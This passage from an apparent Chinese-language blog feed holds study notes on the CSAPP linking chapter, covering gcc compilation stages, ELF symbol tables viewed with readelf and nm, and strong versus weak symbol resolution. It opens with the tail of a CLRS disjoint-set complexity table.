style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td></tr><tr><td>链表</td><td>无（朴素）</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(mn)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">mn</span><span class="mclose">)</span></span></span></span></td></tr><tr><td>链表</td><td>加权合并</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span></td><td>均摊 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>*</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mo>+</mo><mi>n</mi><mi>l</mi><mi>o</mi><mi>g</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(m + n log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td></tr></tbody></table><blockquote><p>链表单次 <code>union</code> 最坏仍为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，比如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi mathvariant="normal">/</mi><mn>2</mn></mrow><annotation encoding="application/x-tex">n/2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/2</span></span></span></span> 与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi mathvariant="normal">/</mi><mn>2</mn></mrow><annotation encoding="application/x-tex">n/2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/2</span></span></span></span> 合并</p></blockquote>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/04/20/CLRS/disjoint-set/</id>
    <link href="https://blog.z0z0r4.top/2026/04/20/CLRS/disjoint-set/"/>
    <published>2026-04-20T13:28:39.000Z</published>
    <summary>
      <![CDATA[<p>这里记录 CLRS 中的 Disjoint Set（并查集）笔记。</p>]]>
    </summary>
    <title>CLRS Disjoint Set</title>
    <updated>2026-04-21T05:16:57.446Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>这里讲链接，没有 Lab。</p><span id="more"></span><h2 id="overview"><a class="markdownIt-Anchor" href="#overview"></a> Overview</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: sum.c</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">sum</span><span class="params">(<span class="type">int</span> *a, <span class="type">int</span> *b, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">    <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = size; i &gt; <span class="number">0</span>; i--) &#123;</span><br><span class="line">        result += a[i] + b[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: main.c</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">sum</span><span class="params">(<span class="type">int</span> *a, <span class="type">int</span> *b, <span class="type">int</span> size)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">int</span> a[<span class="number">2</span>] = &#123;<span class="number">1</span>,<span class="number">3</span>&#125;;</span><br><span class="line">    <span class="type">int</span> b[<span class="number">2</span>] = &#123;<span class="number">2</span>,<span class="number">4</span>&#125;;</span><br><span class="line">    <span class="type">int</span> size = <span class="number">2</span>;</span><br><span class="line">    sum(a, b, size);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先有以上源代码，用 <code>gcc sum.c main.c -o prog</code> 编译，得到可执行文件 <code>prog</code>。</p><p>而细看可以通过 <code>gcc sum.c main.c -o prog -v</code> 可以得到以下编译过程：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">z0z0r4@DESKTOP-862S1HV:~/link$ gcc sum.c main.c -o prog -v</span><br><span class="line">Using built-in specs.</span><br><span class="line">COLLECT_GCC=gcc</span><br><span class="line">COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper</span><br><span class="line">OFFLOAD_TARGET_NAMES=nvptx-none:amdgcn-amdhsa</span><br><span class="line">OFFLOAD_TARGET_DEFAULT=1</span><br><span class="line">Target: x86_64-linux-gnu</span><br><span class="line">Configured with: ../src/configure -v --with-pkgversion=&#x27;Debian 14.2.0-19&#x27; --with-bugurl=file:///usr/share/doc/gcc-14/README.Bugs --enable-languages=c,ada,c++,go,d,fortran,objc,obj-c++,m2,rust --prefix=/usr --with-gcc-major-version-only --program-suffix=-14 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/libexec --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-libstdcxx-backtrace --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --enable-cet --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/reproducible-path/gcc-14-14.2.0/debian/tmp-nvptx/usr,amdgcn-amdhsa=/build/reproducible-path/gcc-14-14.2.0/debian/tmp-gcn/usr --enable-offload-defaulted --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-serialization=3</span><br><span class="line">Thread model: posix</span><br><span class="line">Supported LTO compression algorithms: zlib zstd</span><br><span class="line">gcc version 14.2.0 (Debian 14.2.0-19) </span><br><span class="line">COLLECT_GCC_OPTIONS=&#x27;-o&#x27; &#x27;prog&#x27; &#x27;-v&#x27; &#x27;-mtune=generic&#x27; &#x27;-march=x86-64&#x27; &#x27;-dumpdir&#x27; &#x27;prog-&#x27;</span><br><span class="line"> /usr/libexec/gcc/x86_64-linux-gnu/14/cc1 -quiet -v -imultiarch x86_64-linux-gnu sum.c -quiet -dumpdir prog- -dumpbase sum.c -dumpbase-ext .c -mtune=generic -march=x86-64 -version -fasynchronous-unwind-tables -o /tmp/ccuoguQK.s</span><br><span class="line">GNU C17 (Debian 14.2.0-19) version 14.2.0 (x86_64-linux-gnu)</span><br><span class="line">        compiled by GNU C version 14.2.0, GMP version 6.3.0, MPFR version 4.2.1, MPC version 1.3.1, isl version isl-0.27-GMP</span><br><span class="line"></span><br><span class="line">warning: MPFR header version 4.2.1 differs from library version 4.2.2.</span><br><span class="line">GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072</span><br><span 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&#x27;prog.&#x27;</span><br></pre></td></tr></table></figure><p>其中执行了以下几个命令：</p><ol><li>编译阶段：调用了两次 <code>cc1</code> 分别处理 <code>sum.c</code> 和 <code>main.c</code>（集成了预处理器 <code>ccp</code>），将 C 代码翻译成汇编代码，输出临时汇编文件，如 <code>/tmp/cco3ivRm.s</code>。</li></ol><ul><li><code>/usr/libexec/gcc/x86_64-linux-gnu/14/cc1 -quiet -v -imultiarch x86_64-linux-gnu sum.c -quiet -dumpdir prog- -dumpbase sum.c -dumpbase-ext .c -mtune=generic -march=x86-64 -version -fasynchronous-unwind-tables -o /tmp/ccuoguQK.s</code></li><li><code>/usr/libexec/gcc/x86_64-linux-gnu/14/cc1 -quiet -v -imultiarch x86_64-linux-gnu main.c -quiet -dumpdir prog- -dumpbase main.c -dumpbase-ext .c -mtune=generic -march=x86-64 -version -fasynchronous-unwind-tables -o /tmp/ccuoguQK.s</code></li></ul><ol start="2"><li>汇编阶段：在每次 <code>cc1</code> 后调用 <code>as</code> 将汇编代码翻译成机器指令，分别生成可重定位目标文件（<code>.o</code>）。</li></ol><ul><li><code>as -v --64 -o /tmp/ccUjNHE1.o /tmp/ccuoguQK.s</code></li><li><code>as -v --64 -o /tmp/ccthHRqg.o /tmp/ccuoguQK.s</code></li></ul><ol start="3"><li>链接阶段将所有的目标文件和库文件链接成一个可执行文件 <code>prog</code>。<br /><code>/usr/libexec/gcc/x86_64-linux-gnu/14/collect2 ... --eh-frame-hdr -m elf_x86_64 ... -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -o prog ... /tmp/ccUjNHE1.o /tmp/ccthHRqg.o ...</code></li></ol><blockquote><p>注意 <code>-dynamic-linker /lib64/ld-linux-x86-64.so.2</code>，此处是动态链接。</p></blockquote><p>其中有：</p><ul><li><code>.c</code> 文件：源码文件</li><li><code>.s</code> 文件：汇编文件</li><li><code>.o</code> 文件：目标文件（可重定位文件）</li><li><code>.a</code> 文件：静态库文件（归档打包多个 <code>.o</code> 文件）</li><li><code>.so</code> 文件：共享库文件（动态链接库，特殊的可重定位文件）</li><li><code>prog</code> ：可执行文件</li></ul><h2 id="linker"><a class="markdownIt-Anchor" href="#linker"></a> Linker</h2><p>链接器主要有两个作用：</p><ul><li>符号解析</li><li>地址重定位</li></ul><p>假如只有一个文件，其源码不调用外部函数、变量，那么就不需要链接。</p><h2 id="elf"><a class="markdownIt-Anchor" href="#elf"></a> ELF</h2><p>ELF（Executable and Linkable Format）是 Linux 系统中常用的目标文件格式，由汇编器和链接器创建。</p><ul><li>可重定位文件（Relocatable file）：以 <code>.o</code> 结尾的目标文件，没有被链接成可执行文件。可以被链接器处理。</li><li>可执行文件（Executable file）：以没有扩展名或 <code>.out</code> 结尾的文件，已经被链接成可执行文件。</li><li>共享库文件（Shared library file）：以 <code>.so</code> 结尾的文件</li><li><ul><li>可以用动态链接器让多个可执行文件共享使用</li></ul></li><li><ul><li>也可以被链接器处理，和其他目标文件一起，链接成新的目标文件</li></ul></li></ul><p>ELF 的具体文件格式可以参考 <a href="https://ctf-wiki.org/executable/elf/structure/basic-info/">CTF Wiki ELF</a></p><p>可以通过 <code>readelf</code> 命令查看 ELF。</p><p>参考 <a href="https://www.wdxtub.com/blog/csapp/thin-csapp-4#%E5%AF%B9%E8%B1%A1%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F">对象文件格式</a></p><h2 id="符号表"><a class="markdownIt-Anchor" href="#符号表"></a> 符号表</h2><p>每个可重定位文件 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 都有一个符号表 <code>.symtab</code>，记录了该文件中定义的符号和引用的符号。其中分为三种：</p><ul><li>由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 定义且能被其他模块引用的全局符号。对应于 C 语言中的非静态全局变量和非静态函数。</li><li>由其他模块定义且被 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 引用的全局符号（外部符号）。其中包括 <code>extern</code> 声明的符号等。</li><li>由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 定义但不能被其他模块引用的局部符号。对应于 C 语言中的静态变量和静态函数。</li></ul><p>定义以下代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: sum.c</span></span><br><span class="line"><span class="type">int</span> var1 = <span class="number">1</span>;</span><br><span class="line"><span class="type">int</span> var2;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">sum</span><span class="params">(<span class="type">int</span> *a, <span class="type">int</span> *b, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">    <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = size; i &gt; <span class="number">0</span>; i--) &#123;</span><br><span class="line">        result += a[i] + b[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: main.c</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">sum</span><span class="params">(<span class="type">int</span> *a, <span class="type">int</span> *b, <span class="type">int</span> size)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> var1;</span><br><span class="line"><span class="type">int</span> var2 = <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">int</span> a[<span class="number">2</span>] = &#123;<span class="number">1</span>,<span class="number">3</span>&#125;;</span><br><span class="line">    <span class="type">int</span> b[<span class="number">2</span>] = &#123;<span class="number">2</span>,<span class="number">4</span>&#125;;</span><br><span class="line">    <span class="type">int</span> size = <span class="number">2</span>;</span><br><span class="line">    sum(a, b, size);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p><a href="https://gcc.gnu.org/gcc-10/porting_to.html#common">GCC10 Default to -fno-common</a>。现在应该加上 <code>-fcommon</code> 来允许定义重复符号了，或者加上 <code>extern</code> 关键字。</p></blockquote><p>其存于 ELF 中，可以通过 <code>readelf -s /tmp/cc0Eregi.o</code> 来查看 ELF，以及 <code>nm /tmp/cc0Eregi.o</code>。</p><p>以 <code>sum.c</code> 的为例，其符号表如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">z0z0r4@DESKTOP-862S1HV:~/link$ readelf -s /tmp/cc0Eregi.o</span><br><span class="line"></span><br><span class="line">Symbol table &#x27;.symtab&#x27; contains 6 entries:</span><br><span class="line">   Num:    Value          Size Type    Bind   Vis      Ndx Name</span><br><span class="line">     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND</span><br><span class="line">     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS sum.c</span><br><span class="line">     2: 0000000000000000     0 SECTION LOCAL  DEFAULT    1 .text</span><br><span class="line">     3: 0000000000000000    55 FUNC    GLOBAL DEFAULT    1 sum</span><br><span class="line">     4: 0000000000000004     4 OBJECT  GLOBAL DEFAULT  COM var2</span><br><span class="line">     5: 0000000000000000     4 OBJECT  GLOBAL DEFAULT    2 var1</span><br><span class="line">z0z0r4@DESKTOP-862S1HV:~/link$ nm /tmp/cc0Eregi.o</span><br><span class="line">0000000000000000 T sum</span><br><span class="line">0000000000000000 D var1</span><br><span class="line">0000000000000004 C var2</span><br></pre></td></tr></table></figure><p>其中 <code>sum</code> 在 <code>.text</code> 节中；已初始化的 <code>var1</code> 是强符号，在 <code>.data</code> 节中；未初始化的 <code>var2</code> 是弱符号，在 <code>COMMON</code> 节中。</p><h2 id="符号解析"><a class="markdownIt-Anchor" href="#符号解析"></a> 符号解析</h2><p>对于局部符号，只需要保证它们有唯一的名字即可。</p><p>对于在本地找不到定义的符号的解析，会假设符号是在其他模块定义的，为每个模块生成链接器符号表。如果在任何输入模块都找不到这个符号的定义，那么链接器会报错。</p><p>比如对于以下代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">foo</span><span class="params">(<span class="type">void</span>)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    foo();</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译器不会有报错，但是链接器无法在本地解析到 <code>foo</code> 的定义，也未在其他模块找到 <code>foo</code> 的定义，所以链接器会报错。</p><blockquote><p>C++ 和 Java 支持重载方法，这意味着相同的函数 <code>foo</code> 可能有多个定义，此时符号不止函数名，还会包括参数类型，类名等信息，构建唯一符号。比如 <code>Foo::bar(int, long)</code> 被编码为 <code>bar__3Fooil</code>。（摘自书中原文）</p></blockquote><p>符号有弱符号和强符号之分：</p><ul><li>强符号：函数或已初始化的变量。</li><li>弱符号：未初始化的变量。</li></ul><p>Linux 链接器按三个规则处理多重定义的符号名：</p><ol><li>不允许多个同名的强符号。</li><li>如果一个符号有一个强符号和一个或多个弱符号，那么链接器选择强符号。</li><li>如果有多个弱符号同名，则随机选择一个。</li></ol><p>那么就有以下情况：</p><ul><li>两个强符号：链接器报错，无法解析。</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: foo1.c</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: foo2.c</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>一个强符号和一个弱符号：链接器选择强符号。</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: foo1.c</span></span><br><span class="line"><span class="type">int</span> x = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: foo2.c</span></span><br><span class="line"><span class="type">int</span> x;</span><br></pre></td></tr></table></figure><blockquote><p>此时不会有报错。可能会有意想不到的 Bug 且难以被发现。</p></blockquote><ul><li>两个弱符号：链接器随机选择其中一个</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: foo1.c</span></span><br><span class="line"><span class="type">int</span> x;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: foo2.c</span></span><br><span class="line"><span class="type">int</span> x;</span><br></pre></td></tr></table></figure><p>同时，由于符号不区分类型，你可能遇到第二个情况的特殊案例如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: foo1.c</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="type">void</span> <span class="title function_">foo</span><span class="params">(<span class="type">void</span>)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> x = <span class="number">1</span>;</span><br><span class="line"><span class="type">int</span> y = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    foo();</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;x=0x%x  y=0x%x\n&quot;</span>, x, y);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: foo2.c</span></span><br><span class="line"><span class="type">double</span> y;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">foo</span><span class="params">()</span> &#123;</span><br><span class="line">    y = <span class="number">-0.0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时先定义了一个强符号 <code>x</code> 和一个弱符号 <code>y</code>，链接器选择了强符号 <code>x</code> 和弱符号 <code>y</code>，且内存上 <code>x</code> 和 <code>y</code> 占用的可能是连续内存。</p><p>由于符号不区分类型，<code>double y</code> 和 <code>int y</code> 视为相同符号，得到相同地址，所以 <code>foo</code> 中对 <code>y</code> 的内存操作（8字节）会到影响 <code>x</code> 的值，输出为 <code>x=0x80000000  y=0x0</code>。</p><h2 id="重定位"><a class="markdownIt-Anchor" href="#重定位"></a> 重定位</h2><p>显然，在找到符号定义后，需要将符号引用替换为符号定义的地址。</p><p>显然，假如 A 依赖 B 的符号定义，那么必须先已知 B 的地址，然后根据符号定义在 B 中的偏移值才能得到最终的地址。</p><blockquote><p>以下两种方式都无法实现动态链接，这只能在算出相对模块内的地址，要跨模块还需要后文的 Got。</p></blockquote><p>分为两种：</p><ul><li>重定位绝对引用</li><li>重定位 PC 相对引用</li></ul><p>绝对引用指的是直接根据可执行文件整体来计算地址，常用于静态链接。</p><p>计算公式为：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo>=</mo><mo stretchy="false">(</mo><mi>u</mi><mi>n</mi><mi>s</mi><mi>i</mi><mi>g</mi><mi>n</mi><mi>e</mi><mi>d</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>A</mi><mi>D</mi><mi>D</mi><mi>R</mi><mo stretchy="false">(</mo><mi>r</mi><mi mathvariant="normal">.</mi><mi>s</mi><mi>y</mi><mi>m</mi><mi>b</mi><mi>o</mi><mi>l</mi><mo stretchy="false">)</mo><mo>+</mo><mi>r</mi><mi 